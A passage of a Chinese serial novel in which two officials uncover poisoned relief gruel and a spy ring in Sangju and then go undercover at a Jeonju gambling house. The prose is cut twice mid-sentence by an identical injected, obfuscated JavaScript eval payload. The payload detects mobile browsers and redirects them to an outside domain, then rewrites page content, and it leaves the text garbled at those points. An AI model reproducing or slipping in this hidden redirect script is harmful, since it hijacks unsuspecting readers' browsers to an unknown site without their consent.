宋景熙嘶了声:“文先生何出此言?” 文尚谦道:“因为......两年前官府熬煮的粥吃死人之后,官衙的官员都在发粥前尝过那些粥,下官也不例外。宋大人或许听说过,而且知道他们喝了粥都没有事。其实,其实是有人有事的。” 韩时元默不作声。 “就是下官。” 文尚谦道:“下官早些年患有胃病,那次和守令们一同喝了那粥之后,我第一次发现自己的胃病竟然可以严重到那个地步,足足疼了半个月才见好。” 韩时元道:“但沈牧使却对外称尝粥的官员当中无人有异样反应。” 文尚谦苦笑一声:“这个,沈大人的确是这么对外宣布的。下官当时犯了症状之后便找沈大人说明了,但沈大人说下官这病偶尔就犯一次,只是碰巧赶上犯病的时候了,不是喝粥喝的,毕竟其他大人喝了都没事。下官当时...觉得沈大人说得有道理。” 宋景熙道:“这哪里有道理了,百姓吃了后死了是百姓的问题,文先生吃了胃痛了也是文先生的问题,按沈牧使的意思来看那就死活不是粥的问题,既然不承认是粥的问题,那何必让守令们尝粥来做个面子,做给谁看的?那年的监察使吗?做给朝廷看的?” 文尚谦又苦笑一声:“下官当时也是犯了傻了,没去找监察使说明情况。” 听他说这句话,其实两人心里都明白,大抵不是文尚谦犯了傻不去找监察使,而是去了也不会被信。一来他本就有随时犯疼的胃病,二来连检查了粥的医员都没从粥里找出什么异样。没有确切的证据,监察使不相信很正常。何况他要是真告状了,没有监察使的支持的话,那必然无法再在尚州立足,也就意味着他得抛弃自己从县里带来的百姓。可他不能这么去赌。 宋景熙道:“所以,文先生方才说怀疑有人在米仓中下了毒,是发现了什么新证据?” 文尚谦拱手道:“正是。其实...第二年施粥没有出现吃死人的情况后,下官心里就一直怀疑第一年的粥是有问题的了。下官想的是,第一年只有沈大人施的粥出了问题,下官的却没有出问题,而由于沈大人和下官所施的粥是分开各自熬煮的,沈大人煮的是官府粮仓里的粮食,下官煮的是自家仓库里的粮食,没有经手旁人,所以下官怀疑沈大人那边是有人下了东西,可事情已经过去了,苦于没有证据,下官也不能做什么,只是不成想今年又出了这样的状况,并且状况反了过来,下官的粥也吃死了人了。可下官可以保证,那锅粥完全是下官一个人煮的,所以那位大哥死后,我便怀疑可能是有人在我的仓库中下了东西......也就在先前不久,我在自家米仓里发现了一根黑色头发,下官可以断定那不是我的头发。” 韩时元道:“为何可以肯定?”他这句没有别的意思,只是问问。 文尚谦脸上的表情忽然变得羞愧和腼腆交错,他缓缓伸手摘下自己的帽冠,又缓缓扯下发网,露出满头灰白。 宋景熙震惊得没说话。韩时元也是不免感到诧异,他没记错的话,文尚谦今年只有三十一岁,而立之年,不能算老,居然会有一头白发。而文尚谦似乎是羞于展示,很快就将发网绑回去、帽冠戴回去了。 他依旧是腼腆地道:“让二位见笑了。这些年着急忙慌的,就变成了这个样子。并且下官原本的发色也不是黑色的,而是泛棕些,家中又无旁人,所以下官可以肯定,这根黑色的头发丝是别人的。” “因此一定是有人进了我的仓库,在粮食里下了东西。因为没法分清那些死去之人是喝了谁的粥,下官也想知道官府的米仓是不是一样被下了东西,但、但是官府的米仓平日也是锁着的,钥匙又在沈大人那里,沈大人必然不会将钥匙借与我,我没办法进到米仓里,所以......只能向二位求助了。” 宋景熙毫不犹豫地答应道:“好,我们替文先生去找沈牧使。”他说完这句,看向韩时元,韩时元也默默点了点头。 片刻后,随便捏造了个借口,沈牧使也没多问,两人顺利拿到了钥匙,前往米仓去和文尚谦会面。“咔哒”一声,米仓大门开了。 粮食很少,比想象的还要少。正常的时候,这仓库应该是被填满的,可现在他们面前的只有角落里的那一堆而已。 文尚谦叹了一口气,走到一捆捆粮食面前蹲下身,取出少许谷粒在掌中,也不捻掉外壳,接着他在宋景熙和韩时元两人的注视下,竟张口将这些生米就着稻壳吞了下去。 “——文先生。”宋景熙欲言又止。 文尚谦只吞了这一点,然后站了起来,道:“要是米仓的粮食被下东西了,但愿我没有吃下没有沾上东西的。” 宋景熙道:“唉,文先生。”他接着没有说话了。 三人在米仓内等了半晌,文尚谦没有任何胃病发作的迹象,跑跳走蹲都还好好的,他自个也奇怪道:“难道真吃下了没有沾上东西的?”说着,又去随即捻了少许稻米进腹,可等了会,依旧没有发病。 韩时元沉声道:“看来官府米仓并未被下药。” 宋景熙道:“那就有可能是在熬粥的过程中下的。文先生...生米也是很伤胃的,要不还是别尝试了吧......这样,明日再熬粥之时,我和李大人一起上手,全程监督,看看是不是有人暗中捣乱,能否?” “这...当然可以,那就麻烦二位了。”文尚谦说完,紧紧咬了咬唇,半晌后才道:“这里的粮食,已经只能够城内的人撑上半个月了,下官想......想去其它地方借粮食。” 宋景熙道:“既然不够,我们修书一封上与户曹,让户曹运些粮食来。监察使应当是有这个权力的,是不是?” 他后面这句话是在问韩时元,而且是看着韩时元说的。韩时元颔首道:“是。” 文尚谦犹豫道:“其实,户曹每次运来的粮食,都远远不够。他们只能给尚州人口的份量,这都已经不少了,可是尚州还有很多逃过来的难民。况且沈大人已经向户曹要粮了,但户曹暂时无法调配粮食过来,下一次运粮,至少需要等上半个月,我们要用这些粮食撑过一整个冬季,可这些粮食根本不够吃这么久,再怎么节省,也做不到。只不过好在户曹有过规定,在闹饥荒时其它道若是有多余的粮食,就有义务借粮给饥荒地区,只要能借到足够的粮食,就能让更多的人熬过来年开春,让他们有力气去播种。往年借粮都是我去,今年...也不得不去了。下官想今夜就出发,趁早去趁早回,至于尚州的施粥事宜...就要麻烦二位大人了。” 两人沉沉地点了点头。文尚谦说了一些感激和托付的话,很快便走了。 宋景熙先走出了米仓,对着悬月长长叹了一口气。天底下,怎么会有这么多民生疾苦,有这么多没有办法的事情啊。 韩时元也沉默地望了眼月亮。过了会,他忽然低声道:“借粮一事,虽被准允,但没有户曹或朝廷官员干预,会很难。” 宋景熙道:“大多数不愿意借?” “嗯。”韩时元道:“大多数不愿意。前去借粮的人,一般而言,不得不低声下气。” 难怪只有文尚谦一个人去借粮了。宋景熙唉道:“求人帮忙,也是不得已。” ...... 天明时,熬粥尚未开始之时,从远在庆尚道另一端的庆州发来了一封信。是设在庆州的曳扇台分台台主发来的。 这就要说到宋景熙和韩时元此行尚州的真正目的了。庆尚道和全罗道各设有分台,均设置在各自的首府内,也就是庆州和全州,庆州分台与全州分台是兄弟关系,也是相互监督的关系。两人来之前,李珘就收到庆州台主的密信,称全州曳扇台似乎有异动。之后李珘便让庆州台主找个名义派人到全州去,结果派去的人遭到了跟踪。直到昨日晚,派去的人才回到庆州,这日清晨,庆州台主便飞书一封来,大致内容是说已经有几位密使在来尚州的路上了,准备和宋、韩二人会合。 在庆州密使尚未赶到前,宋景熙和韩时元一直在负责监察使的任务,施粥全程盯得更紧后,果然没有再出现吃粥吃死人的情况了。为找出凶手,两人决定首先从排查全部官员开始,因为能下毒的一定不会是普通人,只有官员能接触到粮仓和熬粥这两环节,所以是有官员作妖无疑。 然而,在尚州任职或待在尚州的官员人数不少,必须先握有官府的官员名册,知道详细的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773805|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官员身份后才好排查。在庆尚道,若是想拿到官员名册,要么找当地官府长官要,要么找庆州分台要,分台保存的官员名册不似地方名册那样不详细,而是笼括了一个道几乎所有的官员,有品阶的都得记录在册,这是最全的,以往李珘想要官员名册,就是直接找各道的分台主。但对于现在的宋景熙和韩时元两人来说,去找远在两三百里以外的庆州去借,快马加鞭也还是太慢了,不如就近,找尚州牧使手上要。 尚州牧使听到监察使的这个请求,虽然觉得奇怪,但也没拒绝,只不过交出去前,还是多嘴问了句:“两位要这个是要做什么?” 韩时元随口道:“抓人。” 沈牧使又多嘴道:“抓什么人?” 韩时元道:“抓你这种人。” 沈牧使打哈哈道:“...哈哈哈......监察使大人还真是会开玩笑......”他精明地低头转了转眼珠子,心里浮现一个恐怖的猜想,吓得额头一跳,立刻抬头试探性地问道:“......在下斗胆问一嘴,两位...是不是想查两年前吃粥吃死人的案子?” 宋景熙已经接过官员名册了,微笑道:“既然牧使大人知道,那就希望您多多配合了。” 沈牧使汗颜。他干干地笑了两声,擦了擦鬓角,没有再多说什么。 三日后。 发生了一件令人极为恐慌的事情:官府米仓失窃了。 官员来敲客栈房门的时候,宋景熙正准备解衣入眠,一听这消息,他解丝绦的手抖了下,难以置信道:“什么?!” 等他和韩时元急匆匆赶到官府时,却只见衙门前已经围了一大群人里,两人好不容易挤进去,只见眼前空地上跪了一名男子,被捕绳绑得结结实实,嘴巴里还塞着抹布,被一名士兵摁在地上,不得乱动。 众人都朝着坐在公堂檐下的沈牧使,沈牧使让人将椅子挪了出来,自己坐在椅子上,摸着下巴,神色意味不明。他正趾高气昂着,见到两人进来,一拍大腿从椅子上弹起来,高兴地道:“哎呀,监察使大人,可算来了!” 宋景熙有些不明白地道:“牧使大人,请问这是怎么回事?” 跪在地上的男子瞪眼死死盯着沈牧使看,沈牧使并不惧怕,而是指向男子,很肯定地道:“这家伙就是偷米的贼!” 男子喉咙发出呼噜呼噜的声音,剧烈挣扎,但没有用。 宋景熙惊讶于沈牧使抓人的速度,便道:“为何如此肯定?” 沈牧使自信道:“这贼办事办得不熟练,听到外面有人的声音就吓得六神无主了,想着赶紧冲出去,结果冲出去的时候被人看见了脸,我带人去这家伙住的地方,果然在他屋子里找到了藏起来的粮食!被他用个麻布袋子装着了,那就是赃物!” 男子旁边的确有个袋子,一名士兵在沈牧使示意下上前将袋子敞开,展示给宋景熙和韩时元看,果然,里面是一捆捆的稻米无疑,虽然很少,但在如今的非常情况,偷一粒米那也是大罪。 “依本官看,不如将这贼人乱棍打死为好!” 男子挣扎得更厉害了,喉咙间总发出些怪声音,似是极力要说些什么,但喉咙被布条堵住,一句话说不出来。 韩时元面无表情道:“白日偷粮?” 宋景熙心中也道:“青天白日地躲过那么多人去米仓偷粮食,那得是多高的武功,就是我也做不到啊。”想到这,他又默默心里想,韩时元做不做得到? 他静静地没表现出来,只等沈牧使的回答。武功高的话,那怎么会被这样轻易抓住? 沈牧使道:“这,可能是这家伙饿坏了,饥不择路了!” 见男子似乎是真的很想要说话,宋景熙便道:“牧使大人,他好像有什么要说,不如让他说一说?或许有隐情,让他辩白一番也未尝不可。” 沈牧使露出十分为难的神色:“这,不好吧?” 宋景熙道:“这有什么不好的?总好过冤枉死人。让他说话。” 周遭几个士兵面面相觑,不知是否该动手,只好朝沈牧使看去,沈牧使表情十分夸张,半天不同意。出乎意料,韩时元直接上前拽掉了男子口中的布条,将不跳丢在地上,冷声道:“说。” 男子如蒙大赦,重咳几下后,飞快道:“你背叛了我们!” 沈牧使指着男子痛骂道:“狗贼闭嘴!你偷了粮食还不承认,是你背叛了尚州百姓!” 男子怒喝道:“沈牧使,你答应过的,为何要违背誓言!既然你不义,也休怪我们不给面子了!你敢背叛首领,你这辈子都不会有好下场!” 沈牧使跳脚道:“你这家伙!在胡说什么!什么首领,什么违背誓言?本官根本不认识你!把他嘴巴堵上,这家伙疯了!” 士兵正欲捡起沾满尘土的抹布,却不料韩时元一脚踩在了抹布一角上,虽然他一句话没说,但意思很明显,不让他们动。 宋景熙道:“让他说。” 男子朝沈牧使狠狠呸了一声:“你会遭报应的!首领知道一切,你以为你的所作所为都神不知鬼不觉吗?可笑,你根本逃不过首领的耳目!” 沈牧使也呸道:“妈的,这家伙到底在胡说什么?!” 男子道:“我只是首领的一只眼睛,而尚州有两只眼睛!只要另一只眼睛发现我失恋,就会向首领揭发你的一切!你完了!” “......??!”男子这话说完,沈牧使肉眼可见地从疑惑转为了惊慌,他表情惶恐,挪到男子面前,哆嗦地按着男子的肩膀,咬牙切齿道:“......你、你说什么??你他妈的说什么?!哪来的第二个人?该死的!你说啊!!” 男子只是冷笑,不说话。沈牧使哆哆嗦嗦地回头一看,两位监察使都神色各异地注视着他,他瞬间感到双腿发麻,惊恐地道:“不不不,哪有什么第二个人,我根本...本官根本不知道你在说什么!哈哈哈哈哈哈......宋大人,李大人,原来...原来盗粮的贼人有两个啊!” 男子嘲笑道:“事到如今,你居然还要嘴硬!” 宋景熙道:“首领是谁?” 被这么一提问,男子反倒低头沉默了。 沈牧使道:“宋大人,不要听这家伙的胡言乱语!一定是有两个盗粮的贼人!” 韩时元道:“不说,那就审。” 沈牧使急道:“不能审!”见宋大人皱眉,沈牧使心道豁出去了,强硬地道:“宋大人!你只是监察使,没有刑讯的权力,要审也是交给衙门来审,本官来审!” 韩时元冷冷地看了沈牧使一眼,沈牧使忽然感觉从胆子里发出一股寒气直冲脑门,憋的话霎时就说不出去了。 宋景熙也没有废话,掏出携带在身的身牌,举到沈牧使眼前,神情严肃道:“这是什么,想必牧使大人不会不清楚。很遗憾地告诉你,现在你不是牧使了。如果你配合调查,或许还能保回一条命,不要想着给我们背后捅上一刀,曳扇台也不止一双眼睛。” 沈牧使,不,现在应该叫沈某。沈某呆愣愣地盯着刻着曳扇台三个字的玉牌,表情逐渐绝望,他变成一滩烂泥倒在地上,神色又变得呆滞起来。韩时元道:“这两个人,都关进去。立刻。” 57. 素冠其三 沈牧使没遭多少罪,早早交代了。也不是件很复杂的事情,不过是三年前旱灾初现时,被沈牧使捉住的男子——现在被宋景熙和韩时元称为卧底,卧底男子带着一箱金银找到了当时还不是牧使的沈牧使,承诺愿意帮他取得尚州牧使之位,条件若是日后首领有求于沈牧使,沈牧使必须答应。 沈牧使头脑一热,不仅收了钱,还答应了,协助卧底男子在官衙施放的粥中下一种奇怪的药物,这种药物,也正如文尚谦所猜测的一般,体强之人吃了无碍,体弱之人吃了则易亡,因此那群一样吃了粥的守令才会无事,而身体本就不好的文尚谦和灾民吃了就有事。 沈牧使如愿当上牧使后,某一日起,开始思考会不会有一日自己的劣迹暴露,与此同时,他发觉到自己正在受到监视。忧心忡忡多日后,他居然梦到自己的脑袋掉下肩膀,本就迷信的他怀疑这会是自己的结局,于是找了个巫师来给自己看相。 巫师神神秘秘地留下了五个字:“一命还一命。”至此,沈牧使决定搞个背叛。 但摆在他面前的难题是卧底男子根本不受他管控,行踪难以捉摸,于是沈牧使又决定暂且搁置,因为他暂时发现了一件更为捉急的事:那个叫文尚谦的家伙越来越得民心了! 沈牧使刚当上牧使那会,也是名声不错的,因为他的确救灾有方,百姓有眼睛,看得出来他至少比上一个牧使好。但灾情持续越来越久后,百姓们发现能与他们同甘共苦的唯有文县监一人而已。当然了,往年过来监察的监察使也是有眼睛的,每回回王京后都会举荐文尚谦,实际上文尚谦的品阶已经升了不少了,只是还不能正式任职。 沈牧使觉得自己的位置受到了威胁。 尚州民怨载道,他这屁股下的椅子坐得越来越不稳了。于是冥思苦想多日后,沈牧使想出了一个损招:在文尚谦的粮食里下毒。 而他下的药,就是就是卧底男子曾经下过的奇特药物。 他想,不是都信文尚谦吗?不是都爱吃文尚谦的粥吗?吃吧,吃死人了,文尚谦就会身败名裂了。 沈牧使这么交代的时候,韩时元很是无情地嗤笑道:“白痴。” 沈牧使哭脸道:“我也是没想到,居然都那么相信文尚谦,为什么啊?” 宋景熙一样嗤笑道:“你心里没有正义的准则,自然也就无法理解人们对正义有多追求了。为何又要贼喊捉贼抓卧底?” 沈牧使苦脸道:“我果然是个白痴,我找了个借口让那家伙到老地方见面,趁机绑了他,然后把米塞到他家,想着栽赃他,然后再把他带给你们看,好光明正大杀了他,但是我没想到还会有第二个家伙啊。这三年来我都一直以为只有他一个,是那家伙隐藏得太好了!鬼知道会这样!我真该...我真该直接杀了他,何必求个光明正大呢!我这辈子明明就没做过几件光明正大的事,偏偏......唉!” 韩时元道:“看来那名巫师的话说的不错。” 沈牧使诧异道:“什么?什么意思?” 宋景熙道:“我们打算监察结束后,送你去汉阳一趟。” “汉阳?!”沈牧使表情惊慌:“大人!我会死吗?!我都说了,我什么都交代了,难道不能饶我一命吗?不可以吗??为什么不可以?!我不想死!” 宋景熙冷声道:“那些被你害死的百姓是自己想死的吗?” 沈牧使道:“就算我不让那家伙下药,他们也迟早会饿死的!我只是,我只是一时糊涂而已!我不是只做了错事啊!我还、还救了那么多灾民,他们都是我救的,我给他们发粮...给他们发钱...给他们下葬,这都是我做的!我做的还不够吗?!我也救了很多人啊!难道我的功不能抵我的过吗??大人!!!” 韩时元和宋景熙已经走到牢门口了,宋景熙回身,冷漠地道:“如果不是因为你姓沈,我会先杀了你,先斩后奏。既然你完全不知悔过,也不必将功抵过了。” 两人走远,牢房陷入晦暗当中,沈牧使听到外面还在说话,声音渐行渐远。他本以为自己会保住一条命,也相信自己的家族会保住他的命。现在愿望似乎落空了,在这个寂静而寒冷的黑夜,他忍不住浑身颤抖起来。 沈牧使是招了,但还有个嘴特别难撬的:卧底男子。甚至不知姓甚名谁。 这男子的嘴十分硬,被审之前就立誓说自己不会背叛那位“首领。先是由官衙的狱吏审了一阵子,但就是没让他不肯开口。几日后等庆州的密使赶到之后,便交由密使来审,依旧无果,最后只能让韩时元来动手,他有许多不见血但能折磨人的法子,至于他使的是见血还是不见血的法子,宋景熙就不知道了,因为每次密使或韩时元审讯的时候,他都会出去等候。 晚风正在变得越来越刺骨。一晃眼,又是几日过去。 宋景熙独自一人走进昏暗的官衙牢房,视线聚集在牢房里的一人身上。 韩时元背对着他,坐在一把椅子上。宋景熙开口道:“招了吗?” 韩时元不必转身说话,因为宋景熙已经走到了他身侧,但他还是抬头看着宋景熙道:“招了。” 他面前是绑在另一把椅子上的男子,这男子已经面目难以辨认了,宋景熙还记得这是卧底男子坐过的椅子,眼前这个家伙,应该就是卧底男子,只是和多日前被抓的时候已经完全不一样了。 宋景熙移开眼睛:“招了什么?” 韩时元道:“不多,只透露了自己姓崔。” 宋景熙蹙眉道:“姓崔?这倒是巧......” 前几日从正巧从庆州出发的密使们赶来了,一来就说什么怀疑全罗道全州的曳扇台分台不受控制了,全州分台的那些密使们好像人间蒸发了一般,他们完全联系不上。而宋景熙记得道林叔父说过,崔在燮的巢穴就在全州,他是有猜测全州分台和崔在燮可能勾搭上了,但完全没有证据,只是凭空猜测。 并且,也许是这几日对在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773806|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全州的崔氏巢穴太过敏感的原因,他听到“崔”这个字就眼皮一跳,语气怀疑道:“这家伙不会是崔在燮的人吧?” 原本一动不动的卧底男子听到“崔在燮”这三个字,忽然弹动了一下。 韩时元扫了卧底一眼:“我也这样怀疑,便故意提起了崔在燮。这般反应,看来是崔在燮的人。” 宋景熙啧啧摇头道:“真是...真是难以想象,来尚州一趟,这好几件事情居然有可能串联在一起。还能不能让他吐露些出来?” 韩时元道:“我试试。” 一阵时间后,宋景熙再次回来时,牢里多出了几名密使,都是从庆州来的,围在中间的韩时元和崔姓男子身边,韩时元已经不坐在椅子上了,而是站着在和密使们说着什么,神情严肃。少顷后,几名密使点头,又低头快步从宋景熙左右两侧出去了。宋景熙走向韩时元,问道:“如何了?” 韩时元的神色似乎轻松了些许:“招了另一名卧底的位置。不知那人是否知晓他被抓了,现下让人前去尽快缉拿。” 宋景熙点头道:“但愿不会出差错。” ...... 没有出差错,另一名卧底被很快缉拿,密使们闯进他的住所时,这家伙还在呼呼大睡。而且这家伙也没有那名崔姓男子有骨气,上刑上得受不住之后,很快交待了,交代了个新的,不仅承认自己是崔在燮的人,还交代了崔在燮巢穴的位置。 这位置和南林之前指明的位置相当。由于南林那边尚未有新动向,商讨一番后,两人决定,先等文尚谦回来。 一等便是入冬,不日后,初雪将至,与此同时,户曹运到尚州的粮食也如期而至。这些粮食虽不够尚州撑过冬季,但能撑到文尚谦回来。 所有人都在期待文尚谦能平安带着粮食归来。 一个月后,文尚谦依旧未归,反倒是雪越下越浓。大雪已经将尚州完全覆盖,有些平民披着大雪去世,却没有地方可埋——土地都被冻上了。 河流被坚冰覆盖时,一封飞书从汉阳传来。署名不是李珘,而是南林。信上写着:“一洛已在巢穴卧底多日,准备完全,时机将至,可待行动。” 看到这封信,韩时元道:“我们应该去全州了。” “嗯。我知道。”宋景熙道:“我们答应过的,要去帮忙。时机很重要,我们应该去了,不能拖延。” 他说完看了眼窗外的雪景,以前他在汉阳会有点文士气息地欣赏,现在他只觉得浑身发冷,也神色落寞地道:“本想着等文尚谦归来,便让他暂时接替尚州牧使的位置,但现在他一直没有消息,不知何时归来,我们又时间紧迫,不能多留,只能让密使们先行代理了。” 让从庆州来的密使留在尚州代理,这也就意味着他们只能两人独自出发去全州了。 “好。”韩时元也将视线投向窗外,眼里同样是没有欣赏,“明日出发?” 宋景熙道:“今日出发。” 58. 素冠其四 一路奔波。 全州是全罗道的首府,府尹姓李,不过这个其实并不重要,因为宋景熙和韩时元并不是冲着府尹来的,也不会去官衙,而是去崔在燮的据点——全州最大的妓坊,兼赌坊:持金馆。 妓赌不分家,都在一个地界,占据着全州邑城上好的一块地盘。人来人往,又多是官宦人家或富家子弟,可见持金馆在全州有多受追捧,不比汉阳的群芳馆差。 在进持金馆前,两人去了两个地方。其中一个便是成衣铺。改头换面一番,一个一身粉绿,内穿一件粉色袍子,外罩一件青绿织锦罩袍,另一个一身黑紫,内穿一件皂色锦袍,外罩一件黛紫罩袍。很是显眼和吸睛。 宋景熙是故意打扮得这么高调的。他率先走上前,两名守在持金馆门口的伙计也立刻上前拦住,声音洪亮道:“这里不能进。” 宋景熙欸一声:“这里不是进去的门吗?为何不能进?”他都和韩时元故意打扮地这么华丽了,就是担心被拦住不能进馆。早在此前他们踩点时便发现进馆的多是打扮华丽的士族,有些人门卫会直接放行,有些人门卫会查看腰牌才放行,而大多数想进馆的都会被挥手赶走,看这些被赶走的大多衣着普通,宋景熙还以为这持金馆有穿得不好看就不准进的规矩,难不成他想错了? 好吧他承认自己带着韩时元去换衣服其实有那么一点私心,他想看看成日雷打不动一身黑的韩时元穿别的颜色会不会有点不一样。事实证明是有的。 守卫朝两人摆手道:“两位理解错了,要是平常我们就放二位进去了,但这几日我们馆主有规定,只能让受邀请的客人进来。说得不客气点,今日能不能进这就是看面熟不面熟的,不面熟的都给不给进!” 宋景熙道:“这是为何?是逢什么日子了?” 守卫有些不耐烦:“我们馆主有宴请重要的客人,没法接待其他人了。哎呀,两位快走吧,这一上午都有好多人来问了,真不能进!” 韩时元道:“我们也是重要的客人。” 宋景熙忍不住笑出声。 守卫诧异地扫视了两人一眼,道:“重要的客人?不像常客啊,不过看两位打扮倒是挺贵气的,敢问两位是?” 宋景熙道:“我们自尚州来,是尚州牧使的儿子,姓沈。”他们离开尚州前拿了沈牧使两名儿子的腰牌,作为在全州行动的假身份,之所以没拿沈牧使的,怕的是崔在燮的人见过沈牧使。 另一名一直沉默寡言的守卫忽然道:“哦原是沈公子!可否看看腰牌?” 两人拿出假借的腰牌。两名守卫看过后,方才发问的守卫疑惑了,将面前两名“沈公子”左看右看,不解道:“二位...真是沈牧使家的公子?” 宋景熙心里咯噔一下,不知是哪里出岔子了,但也只能道:“是啊,我和他是兄弟。”他说着看了眼韩时元。韩时元默默点了点头。 守卫嘶道:“不像啊......长得差别忒大了点。” 原来是说长相的问题!宋景熙心下松一口气,没发现别的就好,便随口胡诌道:“不是一个娘生的。”接着道凑上前悄声道:“我还带了我爹的一封信,给你们馆主的。”说罢,便从怀里掏出一封信,神神秘秘地按到了守卫手里。 守卫大惊,赶忙道:“果然是重要的客人!但这封信还先得给我们馆主看看,麻烦两位在此处稍等片刻!” 不多时,这名守卫又跳出来了,出现在两人面前,这回换上了一副毕恭毕敬的样子,对两人道:“请进!” 宋景熙跨进持金馆,刚觉得顺利,便迎面走来一名蓄着胡须的男子,虽是笑脸相迎,却是拦在他们面前,双手示意朝两人道:“还请往这边停留片刻。” 男子指的左边站着两名打扮花哨的女子,但表情十分严肃,打扮得再风情万种也不让人觉得了。宋景熙道:“请问这是?” 男子拱手道:“搜身。” 宋景熙道:“在这?” 这大庭广众的,不好吧。他不自觉地朝韩时元看了眼,果然,韩时元听到“搜身”,眉头就皱起了。他不喜欢被人碰。 男子道:“有个小房间。请?” 宋景熙心知自己能接受搜身,但韩时元是不太能接受的,为顾及韩时元的面子,他也就只好拒绝道:“贵馆这是什么意思?我们难道是什么罪犯么?还要遭到这种待遇?” 男子皮笑肉不笑道:“公子,这是我们这的规矩。” 宋景熙不依不饶道:“我分明看到有人就直接往里走了,我们竟要搜身?区别对待?家父让我们兄弟二人来拜访贵馆主,想着好好和贵馆结交一番,以后就是一条绳上的了,肯定少不了你来我往的,可初次见面贵馆竟如此对待我们,家父第一次派我们兄弟二人来示好,本也不愿我们兄弟受什么委屈,既然贵馆不肯以礼相待,那我们走了便罢!” 他非常熟练地进入了自己今日扮演的角色——沈牧使大儿子,一个纨绔爱吃喝玩乐的公子哥儿,如此说话,倒不算丢了样子。再说一般来讲,讲究点身份礼仪的公子哥都讨厌搜身,觉得人品和地位有遭侮辱,所以他这么“不依不饶”地讲道理,依旧是没丢样子。 果不其然,蓄胡男子顿时为难,皱眉沉默片刻后才道:“本是馆中规矩,小的不敢随意放二位过关,若二位不愿被搜身,那便麻烦在此稍等片刻。” 又是不多时,这名男子再次出现在两人眼前,快步走来,摆上笑脸道:“馆主说了,二位今日也是贵客。这边请。” 蓄胡男子将两人带至一间厢房内,这间厢房倒是不小,只是空荡荡的,没有人也没有酒菜。这不像是妓坊的风格,一般妓坊一定会将妓生和酒菜安排好,以免贵客久等——汉阳的群芳馆就是这么做的,颇受好评。事出反常,宋景熙反而觉得奇怪,男子像是看出他的疑惑,继续摆着笑脸道:“待会不会让两位贵客失望的。” 宋景熙也笑道:“这些都还不是要紧的,我们可记得家父交予我们兄弟二人的第一要务,不知我们何时可以见到馆主?” 男子霎时赔笑一声:“真是辜负两位日夜兼程的心意了,我们馆主现在正忙着陪一位贵客,这位贵客已经在馆内作客多日了,馆主一直不曾抽身得空,暂时不能会见旁人。但馆主如今心里也是记挂着两位的,最晚三日便会来会见两位了。两位也不必心急,既然是持金馆的贵客,那必然是尽量满足二位的要求,一定让二位做到流连忘返。” 宋景熙点头道:“听闻贵馆是左赌右妓,名声远扬,我早就慕名多时了。不瞒你说,我这人就好赌,一进这门就感觉手痒痒。我这弟弟跟我也一样,好赌胜过好女人,哎呀现在真是手瘾犯了,还要什么女人啊!所以管事你啊今日就不必安排女人来了,直接带我们去赌坊逛上一圈吧!” 男子啊了一声:“您出门直往右走便是了。” 三四个时辰后。 在赌坊里待了许久,玩得还真是过瘾了,两人才从赌坊里出来,此时已是夜晚。 其实宋景熙是没玩过博赌的,而且觉得玩得很累,但一来为了立足自己沈牧使的不学无术大儿子的形象,二来消磨时间,以便到夜晚和卧底在持金馆厨房里的南一洛接头,所以去赌坊玩上一圈也是个好选择。只是坏处也很多,比如,因为赌技差,买衣服剩下的钱,全部输光了。 赌这玩意,简直不能碰。小赌或许怡情,大赌可真是没底线了,他在赌坊里可看到不少连自己底裤和家人都要赌出去的疯子。宋景熙一边摇头,一边负手朝先前的厢房走去,走到半途,又哀叹一声,喃喃道:“全输光了......” 届时怎么买回汉阳的干粮啊......简直追悔莫及...... 韩时元看着他沉默片刻,忽然将手伸进袖子里,取出来一个荷包。宋景熙定睛一看,诧异道:“这...是我的?” 真是他的荷包!不是输出去了吗?怎么会在韩时元的手上?! “怎么在你这??” 韩时元抿唇道:“我赢回来了。” 宋景熙恍然大悟,忍不住捧腹哈哈道:“难怪你当时往另外一堆人里去了,我还想着你一直不上场,还以为是不喜欢玩呢。”他说完,又忽然意识到了什么,挠挠脸道:“......你是特意帮我赢回来的?” 韩时元垂眸注视他:“......嗯。” 宋景熙转身就走,快步走,走了会,不回头道:“......里面还有钱吗?” 身后韩时元也快步走着,回应道:“还有。我做的不好,只赢回来一半。” 宋景熙身形一滞,上下嘴唇飞快一碰:“...很好了!你替我拿着好了,我怕自己又赌了......”说完又加快脚步了。 厢房门口,宋景熙看着厢房内被灯光照出来的人影,陷入了沉思。虽然房内悄无声息的,但这几个人影明显是女子的身影。他分明让管事不要安排妓生来,却还是安排了。 推开门,果然见四名打扮艳丽的妓生坐在厢房里等着,个个都媚眼如丝地瞧着门后的两人,不过含秋波的水眼里多了几分惊讶,她们知道是两个新客人,但不知道这两位长得还挺好看。纷纷心下欢喜,不用伺候那些臭老爷和大老粗就是好! 左右一位妓生立刻迎上来,一位欢笑道:“公子可终于来了,姐妹们可等二位好久了!”说着就要去挽两人的臂膀。 然而竟然都没挽到,两人皆是不着痕迹地绕了过去,坐到空余的位上。妓生们都是很会看情况的,心下觉得奇怪,难道这两位客人不喜欢热情的?的确有些客人癖好奇怪,理解理解。这么想着,妓生们互相看了一眼,心照不宣地决定先不凑上去了。 宋景熙虽然躲过了,但还是面带微笑着。他坐下来扫了眼面前桌子上,先前空置的桌上已经布置了许多菜肴,大抵是应有尽有,但有一样东西没有:酒。 